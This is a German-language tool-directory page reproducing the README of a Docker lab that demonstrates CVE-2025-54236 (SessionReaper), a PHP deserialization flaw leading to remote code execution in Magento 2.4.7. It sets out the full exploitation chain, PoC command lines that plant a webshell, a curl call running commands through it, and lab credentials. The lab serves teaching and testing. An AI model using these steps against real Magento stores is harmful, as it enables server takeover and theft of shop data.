Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/brito101/session_reaper_lab
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubbrito101/session_reaper_lab

session_reaper_lab

Docker-Umgebung zur praktischen Demonstration von CVE-2025-54236 (SessionReaper): PHP-Objekt-Deserialisierung, die zu RCE in Magento Open Source 2.4.7 führt.

Repository anzeigen
1vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-54236 - SessionReaper Lab

Docker-Umgebung zur praktischen Demonstration von CVE-2025-54236 (SessionReaper): PHP-Object-Deserialisierung mit RCE in Magento Open Source 2.4.7.

Ausschließlich zur Nutzung in kontrollierten Umgebungen. Nicht gegen Systeme ohne ausdrückliche Genehmigung ausführen.


Über die Schwachstelle

CVE-2025-54236 betrifft Magento Open Source und Adobe Commerce bis Version 2.4.7. Die Methode ServiceInputProcessor::getConstructorData() akzeptiert verschachtelte Parameter via JSON, die es ermöglichen, session.save_path zu überschreiben – das Verzeichnis, in dem PHP die Session-Dateien speichert.

Exploitation-Kette:

  1. Eine serialisierte PHP-Datei (Gadget-Chain Guzzle/FW1 via phpggc) wird via /customer/address_file/upload hochgeladen und in pub/media/customer_address/s/e/sess_<id> gespeichert.
  2. Eine Anfrage an die REST-API injiziert {"session": {"save_path": "/var/www/html/pub/media/customer_address/s/e/"}} als Konstruktorparameter.
  3. PHP ruft session_start() mit der manipulierten PHPSESSID auf, deserialisiert die Gadget-Chain und schreibt ein Webshell in pub/errors/.

Voraussetzung: PHP-Sessions müssen als file-based konfiguriert sein (nicht Redis/Memcached).

  • CVSS: 9.1 (Kritisch)
  • Betroffene Versionen: Magento Open Source / Adobe Commerce ≤ 2.4.7

Repository-Struktur

root@kitploit:~
magento/
├── lab-magento/              # Docker-Lab (verwundbares Magento 2.4.7)
│   ├── Dockerfile            # PHP 8.2-FPM mit Magento-Erweiterungen
│   ├── docker-compose.yml    # Stack: PHP-FPM, Nginx, MySQL 8, ES 7, Redis
│   ├── .env                  # Umgebungskonfiguration
│   ├── conf/
│   │   ├── nginx/            # Nginx VirtualHost
│   │   └── php/magento.ini   # File-basierte Sessions, memory_limit=2G
│   └── scripts/
│       ├── 01-install.sh     # Vollständige Neuinstallation
│       └── 02-demo-setup.sh  # Produkt, Payload vorbereiten und Anweisungen ausgeben
├── SessionReaper-CVE-2025-54236/
│   └── session_reaper.py     # Haupt-PoC (Autor: alexb616)
└── payloads/
    ├── shell.php             # Webshell mit einfachen Anführungszeichen (vermeidet JSON-Escape)
    └── sess_payload.bin      # Serialisierte Gadget-Chain (vom Skript generiert)

Voraussetzungen

  • Docker Engine 24+
  • Docker Compose v2 (docker compose)
  • PHP CLI (für phpggc) oder Docker mit verfügbarem Image ambionics/phpggc
  • phpggc - https://github.com/ambionics/phpggc
    • session_reaper.py sucht das Binary in: System-PATH, ~/phpggc/phpggc, /opt/phpggc/phpggc und lädt als Fallback automatisch das Docker-Image ambionics/phpggc
  • Python 3.8+ mit requests (pip install requests)
  • WSL2 / Linux (unter WSL2 kann erforderlich sein: sudo sysctl -w vm.max_map_count=262144 für Elasticsearch)

Installation

root@kitploit:~
cd lab-magento

# 1. Magento 2.4.7 von Grund auf installieren (~25 Minuten)
bash scripts/install.sh

install.sh führt aus:

  • Build des angepassten PHP-Images
  • Start der 5 Container (PHP-FPM, Nginx, MySQL, Elasticsearch, Redis)
  • Klonen von Magento 2.4.7 via Git (ohne Marketplace-Konto)
  • Ausführung von composer install --no-dev
  • setup:install mit file-basierten Sessions
  • Setzen des Modes auf default (nicht developer – verhindert, dass PHP 8.2-Warnings zu Exceptions werden)
  • Deaktivieren von 2FA für einfacheren Admin-Zugriff
  • Ausführung von setup:static-content:deploy
  • Korrektur der www-data-Berechtigungen in allen Stadien

Ausführen des Exploits

Nach der Installation vom Root-Verzeichnis (/magento/):

root@kitploit:~
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
    --host http://localhost:8080 \
    --method order \
    --payload-in lab-magento/payloads/shell.php \
    --payload-out /var/www/html/pub/errors/cve_lab.php \
    --save-path /var/www/html/pub/media/customer_address/s/e/ \
    --no-proxy

RCE überprüfen:

root@kitploit:~
curl "http://localhost:8080/errors/cve_lab.php?cmd=id"
# Erwartete Ausgabe: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Alternative Methode (Vektor address, mit echtem Produkt):

root@kitploit:~
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
    --host http://localhost:8080 \
    --method address \
    --sku DEMO-001 \
    --payload-in lab-magento/payloads/shell.php \
    --payload-out /var/www/html/pub/errors/cve_lab.php \
    --save-path /var/www/html/pub/media/customer_address/s/e/ \
    --no-proxy

Labor-Zugangsdaten

Die Admin-URI wird bei der Installation zufällig generiert. Um sie zu finden:

root@kitploit:~
docker exec lab_magento_php bash -c "cd /var/www/html && php bin/magento info:adminuri"

Überwachung

root@kitploit:~
# Vom Exploit erstellte Sessions
docker exec lab_magento_php ls -la /var/www/html/var/session/

# Bösartige Session-Datei in media/
docker exec lab_magento_php find /var/www/html/pub/media/customer_address/ -type f

# Logs in Echtzeit
docker logs lab_magento_nginx -f
docker logs lab_magento_php -f

Bereinigung

root@kitploit:~
# Webshell entfernen
docker exec lab_magento_php rm -f /var/www/html/pub/errors/cve_lab.php

# Container stoppen
docker compose -f lab-magento/docker-compose.yml down

# Alles zerstören (Container + Volumes)
docker compose -f lab-magento/docker-compose.yml down -v

Technische Details

Warum einfache Anführungszeichen im Webshell? Der phpggc Guzzle/FW1 serialisiert das Payload als JSON: [{"Expires":1,"Discard":false,"Value":"PAYLOAD\n"}]. Der PHP-Inhalt ist JSON-kodiert, daher wird " zu \". Die Verwendung von $_GET["cmd"] würde zu $_GET[\"cmd\"] führen – PHP-Parse-Fehler. Die Lösung ist, das Webshell mit einfachen Anführungszeichen zu schreiben: $_GET['cmd'].

Warum Modus default und nicht developer? Magento im developer-Modus wandelt alle PHP-Warnings in Exceptions um. PHP 8.2 gibt Warning: Trying to access array offset on null in lib/internal/Magento/Framework/View/Element/Html/Calendar.php:114 aus, was zu einer 500-Exception im Admin führt. Im default-Modus wird die Warning ignoriert.

Warum befinden sich die Dateien in s/e/? Magento organisiert Adress-Uploads in pub/media/customer_address/{1. Zeichen}/{2. Zeichen}/Dateiname. Bei Dateien sess_* ist das erste Zeichen s und das zweite e, was immer zu pub/media/customer_address/s/e/ führt.


Referenzen

  • NVD - CVE-2025-54236
  • Original-PoC - alexb616/SessionReaper-CVE-2025-54236
  • phpggc - ambionics/phpggc
  • Adobe Security Bulletin APSB25-94
Tool herunterladen
DienstURL / HostAnmeldedaten
Magento-Shophttp://localhost:8080/-
Magento-Adminhttp://localhost:8080/admin/admin / Admin123!
MySQLlocalhost:3306magento / magento
Elasticsearchlocalhost:9200-